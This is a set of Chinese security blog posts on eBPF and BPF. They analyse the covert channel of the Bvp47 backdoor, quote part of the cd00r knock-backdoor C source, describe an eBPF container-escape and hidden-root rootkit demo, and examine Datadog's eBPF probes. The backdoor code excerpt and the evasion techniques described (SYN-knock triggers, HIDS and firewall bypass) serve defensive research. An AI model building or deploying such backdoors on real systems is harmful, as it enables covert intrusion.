这里,笔者跟大家探讨了基于eBPF技术的恶意利用与检测机制。在文章之初,提到eBPF在防御检测产品研发、工程建设等,我们将在下一篇跟大家分享,敬请期待。 作者简介 陈驰 : 2017年加入美团,目前主要负责IDC服务器的检测防御产品研发,完善服务器侧纵深防御体系建设。 杨一 : 2017年加入美团,目前主要负责HIDS主机安全产品研发工作。 胡鑫博 : 2021年加入美团,目前主要负责HIDS Agent的研发。 参考文献 Creating and Countering the Next Generation of Linux Rootkits: DEF CON 29 - PatH - Warping Reality: Creating and Countering the Next Generation of Linux Rootkits DEFCON 29 - eBPF, I thought we were friends: https://www.youtube.com/watch?v=5zixNDolLrg eBPF的各种技术应用PDF集合: https://github.com/ehids/slide Offensive BPF: Malicious bpftrace : https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/ Bad BPF - Warping reality using eBPF: https://blog.tofile.dev/2021/08/01/bad-bpf.html Lifetime of BPF objects: https://facebookmicrosites.github.io/bpf/blog/2018/08/31/object-lifetime.html BPF程序(BPF Prog)类型详解:使用场景、函数签名、执行位置及程序示例:https://arthurchiao.art/blog/bpf-advanced-notes-1-zh Features of bpftool: the thread of tips and examples to work with eBPF objects: https://qmonnet.github.io/whirl-offload/2021/09/23/bpftool-features-thread/ Reverse Engineering Ebpfkit Rootkit With BlackBerry's Enhanced IDA Processor Tool: https://blogs.blackberry.com/en/2021/12/reverse-engineering-ebpfkit-rootkit-with-blackberrys-free-ida-processor-tool Creating and countering the next generation of Linux rootkits using eBPF: Creating and countering the next generation of Linux rootkits using eBPF Pat Hogan eBPF Syscall: https://www.kernel.org/doc/html/latest/userspace-api/ebpf/syscall.html Cilium eBPF实现机制源码分析: https://www.cnxct.com/how-does-cilium-use-ebpf-with-go-and-c/ ebpfkit is a rootkit powered by eBPF: https://github.com/Gui774ume/ebpfkit 招聘 美团信息安全部招聘研发专家,职位如下列表,职位描述见美团信息安全部2022年招聘岗位 。 安全研发专家(主机安全方向) 安全研发专家(RASP方向) WEB研发架构师(JAVA语言) 美团信息安全部其他职位 github 2022-03-09 2 0
聊一聊《Bvp47 美国NSA方程式的顶级后门》中的BPF隐藏信道 背景 Bvp47的BPF使用 上周看了盘古实验室发表的《Bvp47 美国NSA方程式的顶级后门》的文章,里面提到后门使用BPF技术做通信信道的隐藏,本身不监听端口,通过特定SYN包唤醒后门。而且,此后门隐藏近二十年之久,至今才被发现。 Bvp47 直接利用 BPF 的这个特性作为隐蔽信道环节中在 Linux 内核层面的高级技巧,避免直接的 内核网络协议栈HOOK被追踪者检测出来。 具体的 BPF 汇编如下,只有满足这部分规则的 SYN 数据包(还包括UDP包)才会进入下一个加解密 流程进行处理: 文中一句带过,没有过多的细节描述。也能理解,毕竟是逆向黑盒分析,没有源码,还是有一些吃力。 eBPF在网络层恶意利用。 恰巧笔者近期在学习eBPF,且在春节前用eBPF技术实现了类似功能的后门DEMO,对这块特别感兴趣。 好奇它的兼容性是如何做的,HOOK点是如何选择的?用的BPF/eBPF哪个内核版本的类库? 演示DEMO的后门,绕过了服务器内的多款防御产品。 iptables防火墙绕过 :利用对外开放的80端口作为通讯隧道; webIDS绕过:流量到达服务器后,并不传递给nginx; NIDS绕过:入侵者流量在局域网之间流传并无异常,只是无法解密; HIDS绕过:是否信任了防火墙,忽略了本机/局域网来源的SSHD登录? 之前的演示视频做的比较潦草,缺少相关技术原理图,不太好理解,不推荐看了。新的视频已经剪辑好,近期笔者会在文章里分享。 当然,笔者是为了网络安全的红蓝对抗,才写的后门恶意利用的DEMO,用于作为HIDS等防御产品规划的论据,也是提醒同行需要对eBPF技术的恶意利用多加防范。 好奇之下,笔者根据自己eBPF网络信道隐藏的DEMO实现,猜测了一下Bvp47的隐藏原理。 猜测 从PDF里的汇编图来看,后门使用的是BPF技术,不是eBPF。且受影响版本都是linux 内核为2.6系列。 BPF/eBPF历程 回顾BPF发展历程: 1997年,linux kernel 2.1 首次引入BPF,BSD包过滤,支持网络事件处理。 2011年,linux kernel 3.0 增加即时编译。 2014年,linux kernel 4.1 革命性更新,eBPF出世,通用虚拟机。处理事件包括内核态函数、用户态函数、跟踪点、性能事件、安全控制等。 2015年,BCC等各种辅助类库出现。 2016年,丰富了eBPF事件源,Cilium项目发布。 2017年,BPF成为内核独立子模块,Netflix、Facebook等公司,把eBPF应用在跟踪、DDos防御、L4负载均衡等。 之后快速发展,BTF规范产生,增加不同内核的兼容性等。增加尾调用、热更新等。 后门的实现猜测 文中提到受影响内核是2.6.x, 那使用的BPF版本还比较老,只能过滤网络流量。 理论是跟eBPF类似,大约在XDP层附近,工作在网卡驱动附近,可以做流量过滤处理,之后再交付给内核的网络协议相关函数。 libpcap的原理是包的clone,再传递,本身不影响应用层拿到原始包。在这个后门里做敲门的功能是足够了。至于传过去的自定义格式SYN标志包,应用层能否解析,影响也不大,也很难会被发现。 但如果是eBPF里,可以在XDP层读取、修改、丢弃包,TCP栈这层都拿不到包,更不用说应用层了,可以隐藏的更深。 普通内核网络部分函数HOOK的话,大约在网络层那块。所以,能很好的隐藏入口流量。 补个eBPF的图,方便大家理解。虽然后门用的是BPF技术, Packet flow in Netfilter and General Networking图出自: https://commons.wikimedia.org/wiki/File:Netfilter-packet-flow.svg ,做网络相关工作的运维SRE、研发工程师、安全工程师建议收藏。 后门原型cd00r 怀着好奇的心理,笔者在国外的安全网站找到了这个后门原型 ,在2002年,有安全网站分享出来了。 cd00r.c is a proof of concept code to test the idea of a completely invisible (read: not listening) backdoor server. Standard backdoors and remote access services have one major problem - the port's they are listening on are visible on the system console as well as from outside (by port scanning). To activate the remote access service, one has to send several packets (TCP SYN) to ports on the target system. Which ports in which order and how many of them can be defined in the source code. 涉及BPF的核心代码如下: /* variables for the pcap functions */ #define CDR_BPF_PORT "port " #define CDR_BPF_ORCON " or " char pcap_err[PCAP_ERRBUF_SIZE]; /* buffer for pcap errors */ pcap_t *cap; /* capture handler */ bpf_u_int32 network,netmask; struct pcap_pkthdr *phead; struct bpf_program cfilter; /* the compiled filter */ struct iphdr *ip; struct tcphdr *tcp; u_char *pdata; ... if (cports[0]) { memset(&portnum,0,6); sprintf(portnum,"%d",cports[0]); filter=(char *)smalloc(strlen(CDR_BPF_PORT)+strlen(portnum)+1); strcpy(filter,CDR_BPF_PORT); strcat(filter,portnum); } else { if (cdr_noise) fprintf(stderr,"NO port code\n"); exit (0); } /* here, all other ports will be added to the filter string which reads * like this: * port <1> or port <2> or port <3> ... * see tcpdump(1) */ for (i=1;i<cportcnt;i++) { if (cports[i]) { memset(&portnum,0,6); sprintf(portnum,"%d",cports[i]); if ((filter=(char *)realloc(filter, strlen(filter)+ strlen(CDR_BPF_PORT)+ strlen(portnum)+ strlen(CDR_BPF_ORCON)+1)) ==NULL) { if (cdr_noise) fprintf(stderr,"realloc() failed\n"); exit (0); } strcat(filter,CDR_BPF_ORCON); strcat(filter,CDR_BPF_PORT); strcat(filter,portnum); } 后门的全部代码,笔者放在了github上:https://github.com/ehids/rootkit-sample/blob/master/cd00r.c 。 同时,笔者还找到了二十多年前,GIAC公司对这款后门的分析预警,笔者也放在上面的git仓库里了。 cd00r后门原理 后门原型的代码比较少,读起来也不复杂。核心实现是调用libpcap类库进行网络包的过滤读取,识别每个TCP包中SYN标识位的body部分内容,找到相关特征进行匹配验证,验证通过,则启动后门连接进程,开启端口监听。 这后门默认不监听端口,会读取主机所有流量过滤,找到secret knock密码特征后,再执行入侵者预留的后门代码。 cd00r后门在过滤数据包时,筛选了常用的200、80、22、53、3等端口,再启动inetd等进程,监听5002/tcp端口,让这个进程与入侵者交互。真正的交互后门进程,是通过secret knock特征敲门后启动,还是有一些隐蔽性。并且,这个后门敲门后执行cdr_open_door()函数,启动的是inetd进程,实际上可以修改为其他任意代码。 cd00r后门业务流程 整个流程如下: 初始化cd00r变量、嗅探网卡、secret knock敲门端口等 初始化libpcap类库,创建tcpdump规则。没有全端口监听,是为了减少CPU负载,增加隐蔽性。 获取嗅探网卡的IP地址 初始化数据包捕获设备 创建规则字符串的过滤器,这里规则的执行,依赖BPF指令。 关联过滤器与嗅探器 开启守护进程fork for循环处理每个过滤器后的网络包,判断是否与secret knock密码匹配,不匹配则跳过 如果secret knock密码匹配,则执行入侵者的代码,比如执行inetd进程。 从代码来看,流程、逻辑都比较清晰,不是很复杂。从后门构思上来看,比较巧妙。若是现在的环境,有eBPF支持下,那会更加可怕。可以参考笔者的eBPF恶意利用相关视频。 Bvp47通信 回到主题上,根据盘古的PDF报告,Bvp47后门是2002年,cd00r是在2000年,相信Bvp后门的设计也参考了cd00r的灵感,在此基础上做了很多演进与扩展。 隐藏敲门 Bvp47后门使用的应该是最初版本的BPF指令,而且应该不是直接使用,而是引用了libpcap类库间接用了BPF指令。 在SYNKnock敲门机制上,应该与cd00r一致,这也能从PDF的截图里看到。 敲门后,才启动控制端,监听端口。 隐藏信道 在PDF里有很详细的描述,原理是通过SYN包附带payload,来逃避常规软件的检测。并对payload做了加密。 后门缺陷 兼容性 后门的SYNKnock敲门机制依赖libpcap做网卡嗅探,依赖BPF指令做网络包过滤。这些类库与BPF指令有着系统版本的限制,Bvp47后门用的是linux kernel 2.6内核的BPF版本,只能在2.6版本的内核上运行。这也是这篇PDF里展示受害系统都是2.6的原因。 若后门考虑兼容性,那么必定会根据不同版本分别做代码兼容编写、编译、分发才能做到。 在2022年,eBPF有了BTF规范的加持,CO-RE特性有着更好的系统兼容性,在为应用程序提供更便捷的维护成本外,也给木马后门带来了便捷。 行为明显 后门在SYNKnock敲门上做了隐藏,不需要监听端口就可以发起指令。在后续的通讯交互中,会启动新的进程。 新的进程内会包含大量用户态的行为,产生各种日志。防御方还是有一定痕迹可循。 总结 话说回来,这是二十年前的后门技术,隐藏信道部分从技术原理上来看,并不复杂,只是没有被大家重视。 而且,这后门只是在端口监听上,敲门阶段没有监听端口,在后门的连接、信息传输阶段,还是开了端口的。 在后门账号上,采用写入系统用户名、密码的方式,来实现SSHD的认证存储,本身还是有/etc/passwd等文件读写的用户态行为,现有HIDS都具备发现的能力。 但是,这是二十年前的技术,如今,BPF已经演进为eBPF,其功能更是强大,覆盖范围不止网络控制,还包括内核态函数、用户态函数、跟踪点、性能事件、安全控制等。 笔者演示的两个基于eBPF的后门行为来看,可以做的更加隐蔽,不产生用户态行为,更加可怕,给防御方的挑战也越来越大。 检测机制 随着云原生场景迅速发展,eBPF技术的后门场景也越来越多,你的服务器上,是不是已经有这种后门在运行了?这种类型的安全产品该如何检测防御呢? 笔者整理了一篇《Linux中基于eBPF的恶意利用与检测机制》,近期分享给大家,请关注榫卯江湖微信公众号。 参考 《Bvp47 美国NSA方程式的顶级后门》 cd00r隐藏后门源码 Get a handle on cd00r: The invisible backdoor eBPF技术的rootkit恶意利用 2022-03-01 1 0
内核态eBPF程序实现容器逃逸与隐藏账号rootkit 提示 本文不同于 云原生安全攻防|使用eBPF逃逸容器技术分析与实践,腾讯同学的实现,是用eBPF技术在内核态hook,修改文件,让用户态APP产生行为日志(cron的文件变化,且需要执行shell),完成逃逸。在此过程中,还是会留下一些日志行为,能被常规HIDS感知捕获,触发告警。 本文是在kernel space内核态,hook内核态函数,更改内核态返回用户态缓冲区数据,达到用户态欺骗的目的。用户态进程拿到被篡改的数据,从而被骗通过认证。在此过程,不改变任何文件、进程、网络行为,不产生日志。 常规HIDS、HIPS产品无法感知。 背景 前段时间,调研了业界基于eBPF实现的HIDS类产品,包括Cilium、datadog、tracee、falco等产品。 在工程研发上,了解了业界在eBPF技术的应用方式,覆盖场景,实现的安全业务功能等。 在K8S生态下,涌现大批基于eBPF技术实现的集群网络管理插件,比如Calico、cilium等。而业务实现网络管理服务是以容器化方式部署,且有需要给这些容器启用SYS_BPF_ADMIN权限以支持eBPF系统调用。 这些业务形态,恰恰给这种攻击手段一个完美的发挥空间。 目的 随着业务形态变化,在强大的eBPF技术下,会给安全上带来什么样的威胁呢?正巧前段时间也看到腾讯@neargle 同学们写的 云原生安全攻防|使用eBPF逃逸容器技术分析与实践 文章,深知eBPF的威胁远比这更可怕,细想其功能覆盖XDP、TC、probe、socket等,每个功能点都能实现内核态的篡改行为,从而使得用户态完全致盲,哪怕是基于内核模块的HIDS,一样无法感知这些行为。 为此,笔者跟大家分享这篇文章,演示eBPF技术的强大,给防御产品HIDS/HIPS预警,尽快完成eBPF相关入侵行为监控的建设,提升IDC的防御检测能力。 原理 既然容器启动时,已经授权启用了eBPF权限,那么理论上可以做任何事情,包括容器逃逸获得宿主机权限、实现超级隐藏的rootkit后门、绕过网络防火墙等。 那么eBPF技术还能做哪些事情呢?为了回答这个问题,我们回顾一下eBPF的hook点 从图中可以看出,eBPF的hook点功能包括以下几部分 可以在Storage、Network等与内核交互之前; 也可以在内核中的功能模块交互之间; 又可以在内核态与用户态交互之间; 更可以在用户态进程空间。 这意味着,eBPF技术都可以在这些HOOK点做各种手脚,为所欲为,十分可怕。而更可怕的是,在前两个地方,都是在内核态以及内核态之前做手脚,而现有常见的HIDS都是基于内核里或者用户态做行为监控,这恰恰就绕开了大部分HIDS的监控,且不产生任何日志,简直细思极恐、不寒而栗。 演示环境 版本 宿主机系统版本 系统内核版本 root@vmubuntu:/home/cfc4n#uname -a Linux vmubuntu 5.11.0-41-generic #45-Ubuntu SMP Fri Nov 5 11:37:01 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux Linux 发行版 root@vmubuntu:/home/cfc4n#cat /etc/os-release NAME="Ubuntu" VERSION="21.04 (Hirsute Hippo)" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 21.04" VERSION_ID="21.04" HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" VERSION_CODENAME=hirsute UBUNTU_CODENAME=hirsute 容器引擎版本 docker容器版本为20.10.12,比较新。 root@vmubuntu:/home/cfc4n#docker version Client: Docker Engine - Community Version: 20.10.12 API version: 1.41 Go version: go1.16.12 Git commit: e91ed57 Built: Mon Dec 13 11:45:34 2021 OS/Arch: linux/amd64 Context: default Experimental: true Server: Docker Engine - Community Engine: Version: 20.10.12 API version: 1.41 (minimum version 1.12) Go version: go1.16.12 Git commit: 459d0df Built: Mon Dec 13 11:43:42 2021 OS/Arch: linux/amd64 Experimental: false containerd: Version: 1.4.11 GitCommit: 5b46e404f6b9f661a205e28d59c982d3634148f8 runc: Version: 1.0.2 GitCommit: v1.0.2-0-g52b36a2 docker-init: Version: 0.19.0 GitCommit: de40ad0 镜像版本 容器镜像版本 root@vmubuntu:/home/cfc4n# docker image ls REPOSITORY TAG IMAGE ID CREATED SIZE ubuntu21 latest 5355960aa2c5 5 days ago 119MB ubuntu hirsute d662230a2592 3 weeks ago 80MB ubuntu latest ba6acccedd29 2 months ago 72.8MB python 3.7.9-alpine3.11 8b32838a7ca6 11 months ago 41.9MB 环境 系统账号文件hash root@vmubuntu:/home/cfc4n# md5sum /etc/passwd /etc/shadow f43a244c13b639a41a8f555b28c1ff27 /etc/passwd 31dd98746685de12d8b6fb40ef22975e /etc/shadow 演示视频 B 站 1080P原画 :https://www.bilibili.com/video/BV1f34y1z7nN/ 检测防御 视频演示了eBPF技术的强大,只使用了tracepoint一个bpf prog类型实现容器逃逸与隐藏root的rootkit,不改动任何文件,用户态全程无感知。而eBPF还支持kprobe/kretprobe、uprobe/uretprobe、XDP、TC、socket、cgroup等程序类型,覆盖文件、网络、socket、syscall等事件,都是可以被黑客利用的地方。 比如,在XDP层实现一个IP转换,利用http(80端口)来透传sshd(22端口)的通信,完成绕过防火墙的目的,而主机的网络防火墙完全感知不到,更无法溯源出网络通信来源,就问你,可怕不可怕? 那针对这些威胁,站在防御者角度,该如何防范?eBPF实现的rootkit不同于常规rootkit,本身不改变函数地址、代码,防御检测的思路会有什么差别呢? 笔者近期将在「美团安全应急响应中心」微信公众号跟大家分享,敬请期待。 (已更新至: https://www.cnxct.com/evil-use-ebpf-and-how-to-detect-ebpf-rootkit-in-linux/ ) 最后 临近元旦,祝大家玩得开心,我们...节后见。 2021-12-30 2 0
datadog的eBPF安全检测机制分析 前言 代码版本为 datadog-Agent 2021年12月9日的 c9ddf6e854276cfc91aabe76415a203e17de5355 datadog-agent产品架构 在该产品相关演讲PPT里,找到了产品介绍资料--Runtime Security Monitoring with eBPF ,里面不仅包含产品架构图,还有总结了当下快速变化的架构下,如何实现运行时安全监控收集应用级别与容器级别的上下文,实现安全事件感知的思路。 架构图如下: 工程视角分析 invoke是python的任务管理工具,在这个项目里重度依赖,需要提前安装好。 python管理编译 invoke agent.build是官方文档介绍中用来编译项目的命令。invoke --list会显示当前项目所有可使用的命令列表。该命令会读取tasks目录下python的脚本,读取可执行函数。 本文重点在于eBPF相关功能实现,故只列出eBPF相关命令 cfc4n@vmubuntu:~/project/datadog-agent$ invoke --list Available tasks: ... system-probe.build Build the system_probe system-probe.clang-format Format C code using clang-format system-probe.clang-tidy Lint C code using clang-tidy system-probe.generate-cgo-types system-probe.generate-runtime-files system-probe.nettop Build and run the `nettop` utility for testing system-probe.object-files object_files builds the eBPF object files system-probe.test Run tests on eBPF parts ... 通过阅读源码、查阅资料,确定核心的eBPF源码都在system-probe.build命令中生成,并编译成.o的eBPF字节码。这个命令,会调用tasks\system_probe.py中build函数,再调用build_object_files来生成所有probe的eBPF字节码。这些probe字节码按照业务类型来划分,可以分为网络、runtime两类。 网络probe编译 build_network_ebpf_files函数会调用clang命令,编译链接pkg/network/ebpf/c/prebuild目录下4个文件,生成对应的bc与o文件 dns.c http.c offset-guess.c tracer.c runtime probe编译 合并生成runtime-security.c generate_runtime_files函数会调用go命令,合并生成runtime-security.c文件。 合并的命令是调用了go generate命令,选择tags参数为linux_bpf go generate -mod=mod -tags linux_bpf ./pkg/collector/corechecks/ebpf/probe/oom_kill.go go generate -mod=mod -tags linux_bpf ./pkg/collector/corechecks/ebpf/probe/tcp_queue_length.go go generate -mod=mod -tags linux_bpf ./pkg/network/http/compile.go go generate -mod=mod -tags linux_bpf ./pkg/network/tracer/compile.go go generate -mod=mod -tags linux_bpf ./pkg/network/tracer/connection/kprobe/compile.go go generate -mod=mod -tags linux_bpf ./pkg/security/probe/compile.go 在这些go文件的头部,有相应的go:generate指令,调用根目录的pkg/ebpf/include_headers.go来合并对应文件,并保存到pkg/ebpf/bytecode/build/runtime/目录下,生成的文件包括如下几个C文件。 conntrack.c http.c oom-kill.c runtime-security.c tcp-queue-length.c tracer.c 同时,在pkg/ebpf/bytecode/runtime/目录下生成相应的.go文件。 编译链接eBPF字节码 bindata_files.extend(build_security_ebpf_files(ctx, build_dir=build_dir, parallel_build=parallel_build)) system_probe.py的613行会调用的build_security_ebpf_files函数,调用外部命令clang编译生产bc文件,并调用llc链接bc文件生产.o的字节码。 clang -D__KERNEL__ -DCONFIG_64BIT -D__BPF_TRACING__ -DKBUILD_MODNAME=\\"ddsysprobe\\" -Wno-unused-value -Wno-pointer-sign -Wno-compare-distinct-pointer-types -Wunused -Wall -Werror -include ./pkg/ebpf/c/asm_goto_workaround.h -O2 -emit-llvm -fno-stack-protector -fno-color-diagnostics -fno-unwind-tables -fno-asynchronous-unwind-tables -fno-jump-tables -I./pkg/ebpf/c -I./pkg/security/ebpf/c -DUSE_SYSCALL_WRAPPER=0 -c \'./pkg/security/ebpf/c/prebuilt/probe.c\' -o \'./pkg/ebpf/bytecode/build/runtime-security.bc bundle_files函数会对上面生成的文件一并进行编译链接。 go run github.com/shuLhan/go-bindata/cmd/go-bindata -tags 'ebpf_bindata' -split -pkg bindata -prefix 'pkg/.*/' -modtime 1 -o './pkg/ebpf/bytecode/bindata' './pkg/ebpf/bytecode/build/runtime-security.o' './pkg/ebpf/bytecode/build/runtime-security-syscall-wrapper.o' probe 模块编译 go build -mod=mod -v -a -tags "kubeapiserver python zk ec2 npm apm consul orchestrator systemd process jetson cri zlib containerd jmx podman clusterchecks netcgo secrets docker gce etcd kubelet linux_bpf" -o ./bin/system-probe/system-probe -gcflags="" -ldflags="-X github.com/DataDog/datadog-agent/pkg/version.Commit=c9ddf6e85 -X github.com/DataDog/datadog-agent/pkg/version.AgentVersion=7.34.0-devel+git.124.c9ddf6e -X github.com/DataDog/datadog-agent/pkg/serializer.AgentPayloadVersion=v5.0.4 -X github.com/DataDog/datadog-agent/pkg/config.ForceDefaultPython=true -X github.com/DataDog/datadog-agent/pkg/config.DefaultPython=3 " github.com/DataDog/datadog-agent/cmd/system-probe 从编译参数可以看出,核心的probe功能都在 cmd/system-probe 这个包里,这个包会独立编译成一个进程,也就是说,我们分析的ebpf使用相关功能都在这个包里。 datadog的probe hook点 在cmd/system-probe包里,一共5个模块分别是 NetworkTracerModule ModuleName = "network_tracer" OOMKillProbeModule ModuleName = "oom_kill_probe" TCPQueueLengthTracerModule ModuleName = "tcp_queue_length_tracer" SecurityRuntimeModule ModuleName = "security_runtime" ProcessModule ModuleName = "process" 同时,上面编译生产的eBPF字节码文件中,只有6个,分别是 dns.o / dns-debug.o http.o / http-debug.o offset-guest.o / offset-guest-debug.o runtime-security.o runtime-security-syscell-wrapper.o tracer.o /tracer-debug.o 从文件名来看,并不能与模块名一一匹配,那么,他们是如何加载的呢? NetworkTracerModule模块 eBPF字节码加载 网络跟踪模块tracer.NewTracer初始化时,判断配置中是否启用运行时编译配置,若启用,则调用runtime.Tracer.Compile进行源码编译,应该是暂时没实现CO-RE,需要每个主机上进行一次编译。 如果没启用运行时编译,则调用了netebpf.ReadOffsetBPFModule来加载之前编译生成的offset-guess.o,如果启动了调试模式,则加载offset-guess-debug.o。 模块管理器初始化 newManager函数初始化manager.Manager结构体时,初始化了eBPF maps跟eBPF probe列表。 probe probe列表覆盖TCP、UDP的链接创建、发送数据、关闭链接等事件(包含入口、出口),支持IPv4\IPv6,并针对linux kernel 4.7以上版本做了更多HOOK点。 从安全场景来看,建模所需数据,也满足网络后门的需求。 // pkg/network/ebpf/probes/probes.go // InetCskListenStop traces the inet_csk_listen_stop system call (called for both ipv4 and ipv6) InetCskListenStop ProbeName = "kprobe/inet_csk_listen_stop" // TCPv6Connect traces the v6 connect() system call TCPv6Connect ProbeName = "kprobe/tcp_v6_connect" // TCPv6ConnectReturn traces the return value for the v6 connect() system call TCPv6ConnectReturn ProbeName = "kretprobe/tcp_v6_connect" // TCPSendMsg traces the tcp_sendmsg() system call TCPSendMsg ProbeName = "kprobe/tcp_sendmsg" // TCPSendMsgPre410 traces the tcp_sendmsg() system call on kernels prior to 4.1.0. This is created because // we need to load a different kprobe implementation TCPSendMsgPre410 ProbeName = "kprobe/tcp_sendmsg/pre_4_1_0" // TCPSendMsgReturn traces the return value for the tcp_sendmsg() system call // XXX: This is only used for telemetry for now to count the number of errors returned // by the tcp_sendmsg func (so we can have a # of tcp sent bytes we miscounted) TCPSendMsgReturn ProbeName = "kretprobe/tcp_sendmsg" // TCPGetSockOpt traces the tcp_getsockopt() kernel function // This probe is used for offset guessing only TCPGetSockOpt ProbeName = "kprobe/tcp_getsockopt" // SockGetSockOpt traces the sock_common_getsockopt() kernel function // This probe is used for offset guessing only SockGetSockOpt ProbeName = "kprobe/sock_common_getsockopt" // TCPSetState traces the tcp_set_state() kernel function TCPSetState ProbeName = "kprobe/tcp_set_state" // TCPCleanupRBuf traces the tcp_cleanup_rbuf() system call TCPCleanupRBuf ProbeName = "kprobe/tcp_cleanup_rbuf" // TCPClose traces the tcp_close() system call TCPClose ProbeName = "kprobe/tcp_close" // TCPCloseReturn traces the return of tcp_close() system call TCPCloseReturn ProbeName = "kretprobe/tcp_close" // We use the following two probes for UDP sends IPMakeSkb ProbeName = "kprobe/ip_make_skb" IP6MakeSkb ProbeName = "kprobe/ip6_make_skb" IP6MakeSkbPre470 ProbeName = "kprobe/ip6_make_skb/pre_4_7_0" // UDPRecvMsg traces the udp_recvmsg() system call UDPRecvMsg ProbeName = "kprobe/udp_recvmsg" // UDPRecvMsgPre410 traces the udp_recvmsg() system call on kernels prior to 4.1.0 UDPRecvMsgPre410 ProbeName = "kprobe/udp_recvmsg/pre_4_1_0" // UDPRecvMsgReturn traces the return value for the udp_recvmsg() system call UDPRecvMsgReturn ProbeName = "kretprobe/udp_recvmsg" // UDPDestroySock traces the udp_destroy_sock() function UDPDestroySock ProbeName = "kprobe/udp_destroy_sock" // UDPDestroySockrReturn traces the return of the udp_destroy_sock() system call UDPDestroySockReturn ProbeName = "kretprobe/udp_destroy_sock" // TCPRetransmit traces the return value for the tcp_retransmit_skb() system call TCPRetransmit ProbeName = "kprobe/tcp_retransmit_skb" TCPRetransmitPre470 ProbeName = "kprobe/tcp_retransmit_skb/pre_4_7_0" // InetCskAcceptReturn traces the return value for the inet_csk_accept syscall InetCskAcceptReturn ProbeName = "kretprobe/inet_csk_accept" // InetBind is the kprobe of the bind() syscall for IPv4 InetBind ProbeName = "kprobe/inet_bind" // Inet6Bind is the kprobe of the bind() syscall for IPv6 Inet6Bind ProbeName = "kprobe/inet6_bind" // InetBind is the kretprobe of the bind() syscall for IPv4 InetBindRet ProbeName = "kretprobe/inet_bind" // Inet6Bind is the kretprobe of the bind() syscall for IPv6 Inet6BindRet ProbeName = "kretprobe/inet6_bind" // SocketDnsFilter is the socket probe for dns SocketDnsFilter ProbeName = "socket/dns_filter" // SockMapFdReturn maps a file descriptor to a kernel sock SockMapFdReturn ProbeName = "kretprobe/sockfd_lookup_light" // IPRouteOutputFlow is the kprobe of an ip_route_output_flow call IPRouteOutputFlow ProbeName = "kprobe/ip_route_output_flow" // IPRouteOutputFlow is the kretprobe of an ip_route_output_flow call IPRouteOutputFlowReturn ProbeName = "kretprobe/ip_route_output_flow" // ConntrackHashInsert is the probe for new conntrack entries ConntrackHashInsert ProbeName = "kprobe/__nf_conntrack_hash_insert" // SockFDLookup is the kprobe used for mapping socket FDs to kernel sock structs SockFDLookup ProbeName = "kprobe/sockfd_lookup_light" // SockFDLookupRet is the kretprobe used for mapping socket FDs to kernel sock structs SockFDLookupRet ProbeName = "kretprobe/sockfd_lookup_light" // DoSendfile is the kprobe used to trace traffic via SENDFILE(2) syscall DoSendfile ProbeName = "kprobe/do_sendfile" // DoSendfileRet is the kretprobe used to trace traffic via SENDFILE(2) syscall DoSendfileRet ProbeName = "kretprobe/do_sendfile" maps 在初始化的map中,分为两类,一类是BPF_MAP_TYPE_PERF_EVENT_ARRAY的map,但只有ConnCloseEventMap BPFMapName = "conn_close_event"这一个。其他的都是别的类型map。 对于ConnCloseEventMap这个map,使用perfHandlerTCP函数来处理DataChannel和LostChannel两类事件。 这里最终是把数据发送给每个网络客户端。 对于PerfEventArray类的map数据,使用dumpMapsHandler来统一处理事件,实现比较粗糙,直接打印出来。 整个模块中,内核态与用户态交互的map列表如下 // pkg/network/ebpf/probes/probes.go // BPFMapName stores the name of the BPF maps storing statistics and other info type BPFMapName string const ( ConnMap BPFMapName = "conn_stats" TcpStatsMap BPFMapName = "tcp_stats" ConnCloseEventMap BPFMapName = "conn_close_event" TracerStatusMap BPFMapName = "tracer_status" PortBindingsMap BPFMapName = "port_bindings" UdpPortBindingsMap BPFMapName = "udp_port_bindings" TelemetryMap BPFMapName = "telemetry" ConnCloseBatchMap BPFMapName = "conn_close_batch" ConntrackMap BPFMapName = "conntrack" ConntrackTelemetryMap BPFMapName = "conntrack_telemetry" SockFDLookupArgsMap BPFMapName = "sockfd_lookup_args" DoSendfileArgsMap BPFMapName = "do_sendfile_args" SockByPidFDMap BPFMapName = "sock_by_pid_fd" PidFDBySockMap BPFMapName = "pid_fd_by_sock" ) 可以看到,不仅提供了网络的数据,还提供了网络产生的进程ID的数据,安全威胁建模上,可以更好的关联到进程数据了。 probe点 在完成eBPF字节码读取后,开始读取当前模块的probe点信息,当前模块启用的probe点包含TCP的链接创建、UDP的信息发送。在kernel大于4.7版本上,会对^ip6_make_skb$函数进行hook。并按照配置支持IPv4/IPv6两种IP模式。 datadog-agent使用了自研的DataDog/ebpf类库,基于系统调用封装的ebpf管理模块,实现了setion加载、probe加载处理、过滤,event map读取包等功能。 在加载字节码后,开始启动probe的初始化 配置激活的probes 修改eBPF常量 修改map spec 修改program maps 加载pinned maps和programs到内核 使用验证器加载eBPF program到内核 eBPF maps读取 网络跟踪模块的maps读取分三种,分为TCP链接关闭事件、TCP链接列表map、TCP状态map三种。 在pkg/network/tracer/connection/kprobe/tracer.go使用newMapIterator函数对eBPF map进行迭代读取。 在加载eBPF程序到内核后, 遍历PerfMaps,开协程读取perfbuf事件,使用前面设置的LostHandler和DataHandler两个函数来毁掉消费数据。 挂载probe点到系统,让系统生产事件,并发送到map。 检查probe的选择器 更新模块的Map属性路由规则 更新模块的program的路由规则 HTTP 接口 在向外提供数据里,除了提供了统计当前链接总数等常规需求外,还提供了debug需求的数据,提供当前模块的eBPF数据大盘数据。 同时,在HTTP接口的服务器启动是,会根据配置选择启动相关metrics的模块,加载相应tracer.o/tracer-debug.o、http.o/http-debug.o、dns.o/dns-debug.o、offset-guess.o/offset-guess-debug.o、 OOMKillProbe模块 该模块从名字上来看是用来hook linux系统上OOM(Out Of Memory)发生时相关进程名、次数等信息,业务功能上比较简单。 eBPF字节码加载 不支持编译好的.o字节码加载,直接即时编译。 compiledOutput, err := runtime.OomKill.Compile(cfg, nil) 编译过程跟用统一的封装函数,不在赘述。 模块管理器初始化 同理,map跟probe比较少。分别是oom_statsmap 与 kprobe/oom_kill_process probe。(笔者吐槽一下,这里的map名字是硬编码的字符串,跟网络跟踪模块NetworkTracer不一样,非常不统一,以及搭建分析过程中的各种起码做法,简直无法理解,这代码简直是当代屎山。) 数据读取 